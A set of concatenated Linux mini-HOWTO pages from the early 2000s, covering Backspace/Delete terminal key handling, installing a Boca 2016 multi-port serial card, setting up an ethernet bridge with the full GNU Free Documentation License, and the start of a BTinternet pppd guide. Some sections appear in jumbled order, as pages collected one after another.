I hope the basic problem is clear at this point: there is a bottleneck between the keyboard and console applications, that is, the fact that they can only communicate by ASCII sequences. So special keys must be first translated from keysyms to sequences, and then from sequences to key capabilities. Since different consoles have different ideas about what this translation can look like, we need a terminal database. The system would work flawlessly, except for a small problem: it is not always set up correctly, and not everyone uses it.

Applications must have a way to know which database entry to use: this is accomplished by suitably setting the TERM environment variable. In some cases, there is a mismatch between the terminal emulator and the content of the database entry suggested by TERM.

Moreover, many applications do not use the terminal database (or at least not all of it), and consider BS and DEL ASCII codes with an intended meaning: thus, without looking at the database, they assign them semantics (usually, of course, the semantics is removing the character before or under the cursor). So now our beautiful scheme is completely broken (as every Linux user is bitterly aware). For instance, the bash assumes that DEL should do a backward-delete-char, that is, backspace. Hence, on a fresh install the Backspace key works on the console as expected, but just because of two twists in a row! Of course, the Delete key does not work. This happens because the bash does not look into the terminal database for the kdch1 capability.

Just to illustrate how things have become entangled, consider the fix_bs_and_del script provided with the Red Hat distribution (and maybe others). It assigns on-the-fly the BackSpace keysym to the Backspace key, and the Delete keysym to the Delete key. Now the shell works! Unfortunately, all programs relying on the correct coupling of keysym generation and terminal database mappings are now not working at all, as the Delete keysym is mapped to DEL, and the latter to the kbs key capability by the terminfo database, so in such programs both keys produce backspacing.

Prev | Home | Next
How Keys Are Turned Into Actions |  | X


What You Should Do When Writing Applications

Linux Backspace/Delete mini-HOWTO
Prev Next

5. What You Should Do When Writing Applications

When you write a console application, be kind to the user and try to understand what comes from the standard input using the following fallback chain:

  1. open the right terminfo entry, and try to process the sequence so as to discover whether it has a particular meaning on the current terminal; if so, use the terminfo semantics;

  2. use the ASCII intended meaning on line feeds, newlines, tab characters and, of course, BS and DEL. Crossing your finger could also be useful.

Prev | Home | Next
X |  | What You Should Do On Your System


X

Linux Backspace/Delete mini-HOWTO
Prev Next

4. X

The situation under X is not really different. There is just a different layer, that is, the X window system translates the scancodes into its own keysyms, which are much more varied and precise than the console ones, and feeds them into applications (by the way, this is the reason why XEmacs is not plagued by the problem: X translates keycode 22 to keysym BackSpace and keycode 107 to keysym Delete, and then the user can easily assign to those keysyms the desired behaviour). Of course, a terminal emulator program (usually a VT100 emulator in the X world) must translate the X keysyms into ASCII sequences, so we are again in our sore business.

More in detail, usually xterm behaves exactly like the console (i.e., it emits the same ASCII sequences), but, for instance, gnome-terminal in Red Hat <7.0 or ≥7.1 emits BS for Backspace and DEL for Delete. The real fun starts when you realise that by default they use the same terminal-database entry, so the fact that the kbs capability is associated to an ASCII DEL makes all correctly behaving applications produce the same behaviour for the Backspace and Delete keys in gnome-terminal. The simple statement

bash$ export TERM=gnome
can solve the problem in this case for correctly behaving applications. Well, not always, because your system could lack an entry in the terminal database named gnome, in particular if it is not very up-to-date.

In any case, this is not always a solution: if, for instance, you have a Red Hat 7.0 distribution, your gnome-terminal behaves like a console. But beware: if you upgraded your desktop using the Helix distribution, then your gnome-terminal behaves like a pre-7.0 Red Hat.

Just to make easier the following discussion, let us define standard a VT100 emulator behaving like the console, and deviant one that emits BS for Backspace and DEL for Delete.[1] Thus, for instance, xterm has always been standard in the Debian distribution, while it switched a couple of times from standard to deviant and viceversa in Red Hat; the behaviour of gnome-terminal is even more erratic. See Section 8 for some information on how to turn a deviant terminal into a standard one.

Notes

[1]

Also these definitions have been asserted/disputed several times commenting this document. If you have any definitive information on this subject, please write me.

Prev | Home | Next
Why It Doesn't (Always) Work |  | What You Should Do When Writing Applications


Acknowledgements

Prev

6. Acknowledgements

Kevin Traas has issued a helpful update to this FAQ that contains a major correction to the information on mknod. He is also standing in as a new source for cables for the device.

The information here was obtained by begging many people for help. Unfortunately, I have forgotten their names due to a pressing need for disk space on my Netcom account. :-( Nonetheless, I thank them very much for their assistance when things looked blackest. This is my way of paying some of that back.

Prev | Home
Possible Problems |


Installing Boca Card Mini-HOWTO

David H. Dennis

david@amazing.com

Joy Yokley - Converted document from HTML to DocBook v4.1 (SGML)

2001-01-17

Revision History
Revision 1.1 | 2001-01-17 | Revised by: JEY
Revision 1.0 | 1997-07-08 | Revised by: DHD

Describes the basics of a Boca 16-port Serial Card (Boca 2016) used with Linux.

Table of Contents
1. Introduction
2. Warning
3. What do you need to install a BocaBoard?
1.
4. The Basic Procedure
4.1. Recompiling the Kernel
4.2. Installing the Card
4.3. Telling Linux about Your Card
5. Possible Problems
5.1. Additional Information and Service Comments
6. Acknowledgements
Next
Introduction


Introduction

1. Introduction

This HOWTO is being maintained by David H Dennis, david@amazing.com, to try and help any other individuals who may have acquired a BocaBoard, stared at it and found out that it didn't seem to do anything.

A very high percentage of those interested in the BocaBoard are also interested in becoming Internet Service Providers (ISPs). If you are one of them, please feel free to drop by my web site, http://www.amazing.com, and check out my Inet-Access FAQ, over 9,000 lines detailing how to hook up to the net and how to make your Internet provider business succeed in these most interesting times.

Prev | Home | Next
 |  | Warning


Possible Problems

5. Possible Problems

If you have problems, you may find that this is due to conflicts between your BocaBoard and systems with dual IDE controllers. According to Kevin Traas:

Is the kernel recognising the board? (i.e. Right at the start of the boot process, all sixteen ports should be listed on screen with ttySxx, I/O Port, and IRQ identified.) Also, setserial -bg ttyS* should list *every* port in your system.

By default, the BB2016 is configured to use IO Ports between 0100 and 017f. This creates problems on systems with two IDE controllers. The second controller, ide1, uses 0170-0177 which falls into this range. Big problems!!!

So, the solution, in my cases, is to go with an IO base of 0200 through 027f. I haven't had any conflicts in this region; however, you may want to check you system to be sure. (run cat /proc/ioports - better run cat /proc/interrupts to make sure IRQ 12 isn't used either.)

Once you've found an IO range and IRQ that isn't used, you'll have to change the jumpers on the BB2016 and edit /usr/src/linux/drivers/char/serial.c to reflect the new settings. Then, compile the kernel and install as per normal.

5.1. Additional Information and Service Comments

If you want to use your new Boca card with any standard DB-25 RS232 connector, you will have to get a special breakout box, which costs about $80. The card itself comes with a breakout box that plugs into the card through a truly formidable cable. It then supplies phone-like cables for the ports. The special $80 box has phone-like cables that plug into the breakout box included with the Boca card; you can then plug your modems or terminals into standard RS-232 connectors on the box. Unless you actually have a system that accepts the phone-like connectors, you should add the price of the box to the cost of the card when comparing it to other alternatives.

I got my Boca 2016 card through a special wholesale deal that I don't think many people will be able to reproduce. It was available quickly. However, the breakout box for RS-232 took about two weeks to ship. You should be aware of your need for this box before you acquire the card. The 2016 board was $235 and the additional box was $79.95.

I've heard that this breakout box is no longer available, and that now people just have special cables made. I'm not sure how you would go about doing this, though.

Only one port of my first Boca 2016 worked. I called Boca, expecting to hear a long string of questions and advice. When they said, "Linux? What's that?" I feared the worst. However, upon hearing my actual problem, they cheerfully told me that the card was defective and I should send it back; full 5-year factory warranty, 30-days exchange. I was struck by how cheery the lady was. It was as though they were expecting the worst, and very kindly making the most of it!

I had my hardware guy exchange the card. Unfortunately, the cards were back-ordered and they took about two more weeks to give me my new card. I have to say that I was quite annoyed at this, since I was anxiously chomping at the bit to get this thing up and running.

Some people have problems with ports past the first eight. I have tested my card up to port 11 and all the ports appear to be working. Boca Research quality control may be lacking; I would recommend that people with troubles with the card call Boca and deal with them directly. I suspect that if I'd exchanged the card directly through the factory I would have had better service than through my dealer. The factory people were all quite nice and eager to please.

Right now, I have only four phone lines. I bought the 16-port card for two reasons: because it has modem control (unlike the smaller ones), and in anticipation of future expansion.

Some additional information on this subject from Kevin Traas of Baan Business Systems™:

BTW, I've used the BB2016 several times and found them to work really well under Linux. I'm extremely happy with them. They perform very well, are very inexpensive, and are reliable. They claim 115200 bps per port. I've got a unique situation whereby I've got two systems with a PPP serial link between them. I'm running this link at 115200 and I experience almost 0% error rate (with hundreds of thousands of packets transmitted). My next step is to implement EQL and additional PPP links between the boxes to increase the bandwidth. We'll see how it goes.

One final note. Contrary to the suggestion in the HOWTO, I build my own cables for the BB2016 (they've got RJ ports on them). At first, I "dabbled" with RJ45-8 conductor plugs, but the BB2016 has RJ48-10 conductor jacks, so to get full modem support, I ended up going that route.

I now run all 10 wires between the BB2016 and my modems. It works great! No problems, no regrets! The only initial problem I had was finding a source for RJ48 plugs, 10 conductor wire, and RJ48 to DB25 adapters. None of these are very cheap due to the low demand. Oh, yeah, and you need an RJ48 crimper as well.

If you want, I can build these cables for you and send them to you. If you're interested, e-mail me and I'll let you know pricing, etc. I found building my own was cheaper than the adapter that is mentioned in the HOWTO - which I couldn't find a source for anyway.

I believe the adapter mentioned in this document is no longer being manufacturered, leaving cables such as your own the only remaining way of connecting the device.

Prev | Home | Next
The Basic Procedure |  | Acknowledgements


The Basic Procedure

4. The Basic Procedure

4.1. Recompiling the Kernel

The first step is to change your kernel so that it knows you have a BocaBoard. Unfortunately, this is not a part of the configure script; you must go in and modify the source by hand. In the older versions of the kernel, this consists of putting the following line at the beginning of linux/drivers/char/serial.c:

 #define CONFIG_BOCA 1

As of some kernel version or another, this has changed. To make it work with newer kernels, search for the
"BOCA_FLAGS" #define
in serial.c, and change the value to

#define BOCA_FLAGS ASYNC_BOOT_AUTOCONF

You can then recompile your kernel using the instructions included with the source tree. I recommend running the new kernel from a floppy until you're very sure it works; otherwise, the procedure for getting back your system is mind-numbing at best.

At least to me, digging into my kernel and re-compiling it was quite a stressful venture! Relax; as long as you copy it to a floppy, your new kernel is completely harmless. It won't bite! Honest! :-)

4.2. Installing the Card

The default address on both the card and the Linux software for the configuration is 0x100; leave that alone. Set the IRQ on the card to Linux default of 12. If you want to change the IRQ, you will have to search for "BOCA_FLAGS" in the file. You will find lines like this:

 { BASE_BAUD, 0x100, 12, BOCA_FLAGS }, /* ttyS16
                */
                    { BASE_BAUD, 0x108, 12, BOCA_FLAGS }, /* ttyS17
                */

You can change the IRQ from 12 by changing the 12 to any valid IRQ. I have not tried this, however.

4.3. Telling Linux about Your Card

Once you have compiled your new kernel, switch off the machine and install the card. Then, turn your machine on with the new kernel floppy in the drive. If the installation succeeded, you should see all sorts of strange stuff about 16550 UARTS being connected to ttyS16-ttyS32. The system will then come up normally.

The odds are pretty good that you don't actually have entries in /dev for those lines. Remember that they start at 16 and go on to 32. If you look at the source code, you'll see why; support for other cards is included in the code for lower line numbers. Creating them is pretty simple, once you know the trick.

To create entries for dial-out lines (where you call out), type:
#mknod /dev/cuaxx c 4 N

n = 64 + {line number}. The C indicates that this is a character mode device. For example, to create the first couple of lines on your board, type:
#mknod /dev/cua16 c 4 80
                #mknod /dev/cua17 c 4 81

To create dial-in lines (where users call you), type:

#mknod /dev/ttySxx c 5 n

where N is the same as described above. For example, to create the first couple of lines on your BocaBoard, type:

#mknod /dev/ttyS16 c 5 80
            #mknod /dev/ttyS17 c 5 81

It is recommended that you create both dial in and dial out lines for each port, so that you have maximum flexibility. It turns out to be very handy to call another line of your system by activating one of your lines as dial-out and calling your main number. I've done this already and it works great! It's most useful for checking how things look "on the other side of the fence"; I used it to find out how my software looked at 2400bps. (It's slower than the Linux console. A LOT slower, in fact).

Once you've finished with this, you can add entries to your inittab file in the same way as you would for a standard ttySx entry, and the modems or terminals should come up!

Prev | Home | Next
What do you need to install a BocaBoard? |  | Possible Problems


What do you need to install a BocaBoard?

3. What do you need to install a BocaBoard?

  1. The board itself and its manuals

  2. Your Linux source tree

  3. Patience

Prev | Home | Next
Warning |  | The Basic Procedure


Warning

2. Warning

Multi-Port serial cards, such as the BocaBoard, are all but dead. If you are in business as an Internet Service Provider (ISP), you will not want to use any of these devices, because the new 56k modem standards will not support them. Instead, you need digital modem/terminal server combinations such as the Livingston PM3 ™ , Cisco 5200 ™ or US Robotics Total Control ™. Otherwise, you simply won't be competitive in major markets. Users want high speeds; you won't be able to provide them with a BocaBoard or other multi-port serial card.

Even as a multi-port serial card, the BocaBoard is hopelessly obsolete. The overwhelming majority of people who want to buy a BocaBoard would be better off getting a accelerated card such as the Cyclades™ or Rocketport™. (When last I looked, Rocketport™ was a better board, but Cyclades™ had the most stable kernel support). Accelerated cards use less of the CPU of your machine, and so you can support more ports per computer with less performance degradation.

That being said, perhaps you own one of these devices and want to make use of it, or perhaps you are planning an ISP based on a low-cost business model that basically means the use of cast-off equipment from others. In that case, the information in this document should be useful for you. But again, I repeat: The person who buys a new BocaBoard at this point probably needs a few more clues before starting his ISP or other venture.

Prev | Home | Next
Introduction |  | What do you need to install a BocaBoard?


Bridging mini-HOWTO

Christopher Cole

cole@coledd.com

March 2001

Revision History
Revision 1.22 | 2002-05-20 | Revised by: tab
Converted to Docbook 4.1 SGML and added GFDL per Christopher Cole
Revision 1.21 | 2001-03-07 | Revised by: cc

This document describes how to setup an ethernet bridge. What is an ethernet bridge? An ethernet bridge is a device that controls data packets within a subnet in an attempt to cut down the amount of traffic. A bridge is usually placed between two separate groups of computers that talk within themselves, but not so much with the computers in the other group. A good example of this is to consider a cluster of Macintoshes and a cluster of unix machines. Both of these groups of machines tend to be quite chatty amongst themselves, and the traffic they produce on the network causes collisions for the other machines who are trying to speak to one another. A bridge would be placed between these groups of computers. The job of the bridge is then to examine the destination of the data packets one at a time and decide whether or not to pass the packets to the other side of the ethernet segment. The result is a faster, quieter network with less collisions.

Table of Contents
1. Setup
2. Common Problems
3. Copyright
3.1. GNU Free Documentation License
3.2. PREAMBLE
3.3. APPLICABILITY AND DEFINITIONS
3.4. VERBATIM COPYING
3.5. COPYING IN QUANTITY
3.6. MODIFICATIONS
3.7. COMBINING DOCUMENTS
3.8. COLLECTIONS OF DOCUMENTS
3.9. AGGREGATION WITH INDEPENDENT WORKS
3.10. TRANSLATION
3.11. TERMINATION
3.12. FUTURE REVISIONS OF THIS LICENSE
3.13. How to use this License for your documents
Next
Setup


Setup

Bridging mini-HOWTO
Prev Next

1. Setup

  • Get Bridge Config: BRCFG.tgz

  • BRCFG may also be found at: http://coledd.com/networking/bridge

  • Enable multiple ethernet devices on your machine by adding this line to your /etc/lilo.conf, and re-run lilo:
    append = "ether=0,0,eth1"

    If you have three interfaces on your bridge, use this line instead:
    append = "ether=0,0,eth1 ether=0,0,eth2"

    More interfaces can be found by adding more ether statements. By default a stock Linux kernel probes for a single ethercard, and once one is found the probe ceases. The above append statement tells the kernel to keep probing for more ethernet devices after the first one is found. Alternatively, the boot parameter can be used instead:
    linux ether=0,0,eth1

    Or, with 3 interfaces, use:
    linux ether=0,0,eth1 ether=0,0,eth2

  • Recompile the kernel with BRIDGING enabled.

  • A bridge should not have an IP address. It CAN, but a plain bridge doesn't need one. To remove the IP address from your bridge, go to /etc/sysconfig/network-scripts/ (for a RedHat system) and copy ifcfg-lo0 to ifcfg-eth0 & ifcfg-eth1. In these two new files, change the line containing DEVICE=lo to DEVICE=eth0 and DEVICE=eth1. Since other distributions may deviate from this, you may need to refer to additional documentation. If there are more than 2 interfaces to this bridge, be sure to make the corresponding configurations to those, as well.

  • Reboot so you are running the new kernel with BRIDGING in it, and also to make sure that an IP addresses are not bound to the network interfaces.

  • Once the system is backed up, put the ethernet cards into promiscuous mode, so they will look at every packet that passes by its interface:
    ifconfig eth0 promisc ; ifconfig eth1 promisc
    All interfaces which are connected to network segments to be bridged are to be put into promiscuous mode.

  • Turn bridging ON using the brcfg program:
    brcfg -ena

  • Verify that there is different traffic on each interface:
    tcpdump -i eth0     (in one window)
tcpdump -i eth1     (in another window)

  • Run a sniffer or tcpdump on another machine to verify the bridge is separating the segment correctly.

Prev | Home | Next
Bridging mini-HOWTO |  | Common Problems


Common Problems

Bridging mini-HOWTO
Prev Next

2. Common Problems

Q: I get the message ioctl(SIOCGIFBR) failed: Package not installed . What does this mean?
Q: Machines on one side cannot ping the other side!
Q: I cannot telnet/ftp from the bridge! Why?
Q: What do I need to set up in the way of routing?
Q: The bridge appears to work, but why doesn't traceroute show the bridge as a part of the path?
Q: Is it necessary to compile IP_FORWARD into the kernel?
Q: Why are the physical ethernet addresses for port 1 and port 2 the same according to the brcfg program? Shouldn't they be different?
Q: Bridging does not appear to be an option when performing a make config on the kernel. How does one enable it?
Q: Too many hubs (4 or more) are chained one after another in series, cause timing problems on an ethernet. What effect does a bridge have in a subnet that is layered with hubs?
Q: Can a bridge interface to both 10Mb and 100Mb ethernet segments? Will such a configuration slow down the rest of the traffic on the high speed side?

Q: I get the message ioctl(SIOCGIFBR) failed: Package not installed . What does this mean?

A: You don't have bridging capability in your kernel. Get a 2.0 or greater kernel, and recompile with the BRIDGING option enabled.

Q: Machines on one side cannot ping the other side!

A:

  • Did you enable bridging using brcfg -ena? (brcfg should say bridging is ENABLED)
  • Did you put the interfaces into promiscuous mode? (issue the ifconfig command. The PROMISC flag should be on for both interfaces.)
  • If using multiple-media interface adapters, make sure that the correct one is enabled. You may need to use the config/setup program that came with the network interface card.

    • Q: I cannot telnet/ftp from the bridge! Why?

    A: This is because there is no IP address bound to any of bridge interfaces. A bridge is to be a transparent part of a network.

    Q: What do I need to set up in the way of routing?

    A: Nothing! All routing intelligence is handled by the bridging code in the kernel. To see the ethernet addresses as they are learned by the bridge, use the brcfg program in debug mode:

    brcfg -deb

    Q: The bridge appears to work, but why doesn't traceroute show the bridge as a part of the path?

    A: Due to the nature of a bridge, a traceroute should NOT show the bridge as a part of the path. A bridge is to be a transparent component of the network.

    Q: Is it necessary to compile IP_FORWARD into the kernel?

    A: No. The bridging code in the kernel takes care of the packet transport. IP_FORWARD is for a gateway that has IP addresses bound to its interfaces.

    Q: Why are the physical ethernet addresses for port 1 and port 2 the same according to the brcfg program? Shouldn't they be different?

    A: No. Every port on a bridge intentionally is assigned the same physical ethernet address by the bridging code.

    Q: Bridging does not appear to be an option when performing a make config on the kernel. How does one enable it?

    A: During the kernel config, answer "Y" to the question, Prompt for development and/or incomplete code/drivers (CONFIG_EXPERIMENTAL) [Y/n/?].

    Q: Too many hubs (4 or more) are chained one after another in series, cause timing problems on an ethernet. What effect does a bridge have in a subnet that is layered with hubs?

    A: A bridge resets the 3/4/5 hubs rule. A bridge does not deal with packets the way a hub does, and is therefore not a contributor to timing problems on a network.

    Q: Can a bridge interface to both 10Mb and 100Mb ethernet segments? Will such a configuration slow down the rest of the traffic on the high speed side?

    A: Yes, a bridge can tie together a 10Mb segment with a 100Mb segment. As long as the network card on the fast network is 100Mb capable, TCP takes care of the rest. While it's true that the packets from a host in the 100Mb network communicating to a host in the 10Mb network are moving at only 10Mb/s, the rest of the traffic on the fast ethernet is not slowed down.

    Prev | Home | Next
Setup |  | Copyright


Copyright

Bridging mini-HOWTO
Prev

3. Copyright

Copyright © 2002 Christopher Cole

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".

3.1. GNU Free Documentation License

Version 1.1, March 2000

Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

3.2. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

3.3. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

3.4. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

3.5. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

3.6. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

3.7. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

3.8. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

3.9. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

3.10. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

3.11. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

3.12. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

3.13. How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Prev | Home
Common Problems |


BTinternet pppd mini-HOWTO

Matt Wright

Matt Wright Consulting

matt@consultmatt.co.uk

Greg Ferguson - Converted the mini-HOWTO from HTML to Docbook 3.1 (SGML).

2002-03-26

Revision History
Revision v0.29 | 2002-03-26 | Revised by: mww
Added a small bit of first-hand tech support about cross-frequency.
Revision v0.28 | 2002-01-17 | Revised by: mww
New information about PPPoATM involving kernels and distibutions.
Revision v0.27 | 2001-12-20 | Revised by: mww
Minor technical problems highlighted by Robert Smith.
Revision v0.26 | 2001-11-21 | Revised by: mww
Added a point about the Kernel HOWTO.
Revision v0.25 | 2001-11-17 | Revised by: mww
Added a troubleshooting answer about "_mmx_memcpy". Other minor updates as well.
Revision v0.24 | 2001-11-09 | Revised by: mww
